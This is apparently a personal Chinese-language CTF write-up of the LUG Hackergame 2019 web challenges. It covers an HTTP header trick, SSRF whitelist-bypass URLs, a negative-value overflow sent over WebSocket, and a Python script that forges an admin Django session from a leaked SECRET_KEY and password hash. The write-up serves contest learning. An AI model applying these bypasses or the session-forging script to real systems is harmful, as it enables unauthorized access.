Scu_laji

lug hackgame 2019 web writeup

lug ctf 2019 web题writeup

先上最好成绩

因为本菜鸡从大学起就是一个web选手,其他的咱也不会做。(跑,虽然做过几年杂项, 但web才是老本行不是嘛)

web签到题

把token复制进去,提交就完事了。

信息安全2077

也很简单,基础的http头修改,现在渐渐习惯使用curl做题了(大概是老了,不想用burp那种太重的东西了)

打开chrome的network窗口。COPY as curl.

1
curl 'http://202.38.93.241:2077/flag.txt' -X POST -H 'Origin: http://202.38.93.241:2077' -H 'Accept-Encoding: gzip, deflate' -H 'If-Unmodified-Since: Wed, 16 Oct 2099 01:04:16 GMT' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Accept: */*' -H 'Cache-Control: max-age=0' -H 'Referer: http://202.38.93.241:2077/' -H 'Proxy-Connection: keep-alive' -H 'Content-Length: 0' --compressed --insecure

把时间做个修改就完事了。

网页读取器

一道简单的ssrf题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, render_template, request, send_from_directory
import requests # well, requests is designed for humans, and I like it.
app = Flask(__name__)
whitelist_hostname = ["example.com",
"www.example.com"]
whitelist_scheme = ["http://"]
def check_hostname(url):
for i in whitelist_scheme:
if url.startswith(i):
url = url[len(i):] # strip scheme
url = url[url.find("@") + 1:] # strip userinfo
if not url.find("/") == -1:
url = url[:url.find("/")] # strip parts after authority
if not url.find(":") == -1:
url = url[:url.find(":")] # strip port
if url not in whitelist_hostname:
return (False, "hostname {} not in whitelist".format(url))
return (True, "ok")
return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))
@app.route("/")
def index():
return render_template("index.html")
@app.route("/request")
def req_route():
url = request.args.get('url')
status, msg = check_hostname(url)
if status is False:
# print(msg)
return msg
try:
r = requests.get(url, timeout=2)
if not r.status_code == 200:
return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
return r.text
except requests.Timeout:
return "We tried our best, but it just timeout."
except requests.RequestException:
return "While accessing your url, an exception occurred. There may be a problem with your url."
@app.route("/source")
def get_source():
return send_from_directory("/static/", "app.py", as_attachment=True)
if __name__ == '__main__':
app.run("0.0.0.0", 8000, debug=False)

观察check_hostname这个函数, 首先判断url是不是以http开头, 否则对某些以bolt, file, ftp开头的协议可能会有问题。然后将协议头去掉。然后从中去掉用户认证信息。然后去掉query部分, 然后在去掉port部分。 再判断节出的域名在不在白名单内。

1
http://username:[email protected]:port/?query

这一方法显然对符合标准http格式的uri没有问题。

但是在http协议中,许多东西都是可选的。所以,构造以下url即可.

1
2
http://web1/[email protected]
http://web1/flag#@example.com

达拉崩吧大冒险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
let opts;
let host = window.location.host;
let ws = new WebSocket("ws://"+host+"/ws");
ws.onopen = function(evt) {
addMsg("旁白","进入同步!");
};
ws.onmessage = function(evt) {
console.log( "Received Message: " + evt.data);
js = JSON.parse(evt.data);
addMsg(js["From"],js["Content"]);
updateState(js["State"]);
loadOptions(js["Options"]);
opts = js["Options"];
let div = document.getElementById('alist');
div.scrollTop = div.scrollHeight;
};
ws.onclose = function(evt) {
addMsg("旁白","失去同步!");
};
$("#send").click(
function () {
let v = $("#input option:selected").val();
addMsg("我", opts[parseInt(v)]);
ws.send(v)
}
);
$("#start").click(function () {
if (ws.readyState !== WebSocket.CLOSED){
ws.close()
}
location.reload();
}
);

先试玩几把,发现刚开始的路只有一条,即

1
2
ws.send(0)
ws.send(0)

在前面尝试瞎鸡儿发一定会被认为是渗透行为。被断开链接

然后到了这步有三个选择,去市场买🐔吃,打小怪升级,去干蕾姆

作为21世纪优秀青年,必须先去买🐔吃呀。(其实是选另外两条路必死)

🐔两块钱一只,加5点战斗力。算算我们能有125点战斗力呢。然后,杀呀,去干小怪升升级。

然后你就死了。断开链接。

有没有什么好办法不用花钱也能提升战斗力呢。

试试在去市场买🐔的时候发负数。

哇,钱变多了,但战斗力成负的了。wtf。

于是自然而然的想到可能有溢出。写个脚本自动探测溢出点。

1
2
3
4
for(i =0; i < 1000 ;i ++){
​ ws.send(0)
​ ws.send(-20000000000)
}

观察输出次数,然后找到战斗力为正的时候发这么多次包就完事了,后面的负值可能需要调整。

被泄露的姜戈

观察题目描述

了解2019年编程圈大事的人都应该知道,这是致敬openbilibili,顺藤摸瓜.

openlug/django-common

找到源码,一开始走了一下午的弯路。以前见过这种Secret-key泄露引发的bug,一开始的想法是直接改本地的sqlite数据库,让admin用户登录上去,然后把sessionid直接发到远程服务器上看是否可行。尝试无果。于是开始找RCE,上网搜了几篇RCE方面的blog。发现有几个必须条件。

  1. django必须启用SESSION_ENGINE = ‘django.contrib.sessions.backends.signed_cookies’
  2. django必须使用serializers.PickleSerializer
  3. django代码必须有从session中取值的操作

而本题只满足第一个条件,在django 1.6以下默认使用的是serializers.PickleSerializer, 本题的版本为2.2.5, 显然不满足条件。

于是尝试思考是否有CSRF的攻击方式,因为源码中import了csrf相关的内容但并没有使用。仔细想了想,源码中并没有任何关于留言板之类的功能。所以在前端发起攻击也不现实。

于是又回到了原点。

无奈,尝试解密一下传回的session值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2019/10/15 下午4:32
from django.contrib.sessions.serializers import JSONSerializer
from django.core import signing
from django.utils.crypto import get_random_string, salted_hmac
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39'
def decryption(payload):
res = signing.loads(payload, key=SECRET_KEY, salt="django.contrib.sessions.backends.signed_cookies",
serializer=JSONSerializer)
print(res)
if __name__ == '__main__':
decryption(sys.argv[1])

观察到这里面有一个_auth_user_id 尝试将其改为1, 发送数据包,被拒绝。

然后看到这里面还有一个_auth_user_hash , 无奈,只能看django源码了. 最快的看源码方式自然是Google了。

一搜上面这玩意,第一个就是它的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
django/contrib/auth/__init__.py:97
def login(request, user, backend=None):
"""
Persist a user id and a backend in the request. This way a user doesn't
have to reauthenticate on every request. Note that data set during
the anonymous session is retained when the user logs in.
"""
session_auth_hash = ''
if user is None:
user = request.user
if hasattr(user, 'get_session_auth_hash'):
session_auth_hash = user.get_session_auth_hash()

看到这一行 跟进去看看

1
2
3
4
5
6
def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()

我靠,password, 我咋个晓得密码噻。于是想爆破(不会爆破的web手不是好的吉他手)

一看, 40位16进制。640位2进制

啊,再见,放弃,做个锤锤。

诶,等会,不是还有个sqlite数据库嘛, 里面是啥子玩意.

嘿嘿嘿,有点意思。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2019/10/15 下午4:32
import sys
from django.contrib.sessions.serializers import JSONSerializer
from django.core import signing
from django.utils.crypto import get_random_string, salted_hmac
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39'
admin_password_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
def decryption(payload):
res = signing.loads(payload, key=SECRET_KEY, salt="django.contrib.sessions.backends.signed_cookies",
serializer=JSONSerializer)
return res
def encryption(p):
payload = signing.dumps(p, key=SECRET_KEY, salt="django.contrib.sessions.backends.signed_cookies",
serializer=JSONSerializer)
print(payload)
def get_session_auth_hash(password):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, password, secret=SECRET_KEY).hexdigest()
if __name__ == '__main__':
res = decryption(sys.argv[1])
res['_auth_user_id'] = '1'
res['_auth_user_hash'] = get_session_auth_hash(admin_password_hash)
encryption(res)

发包, 搞定。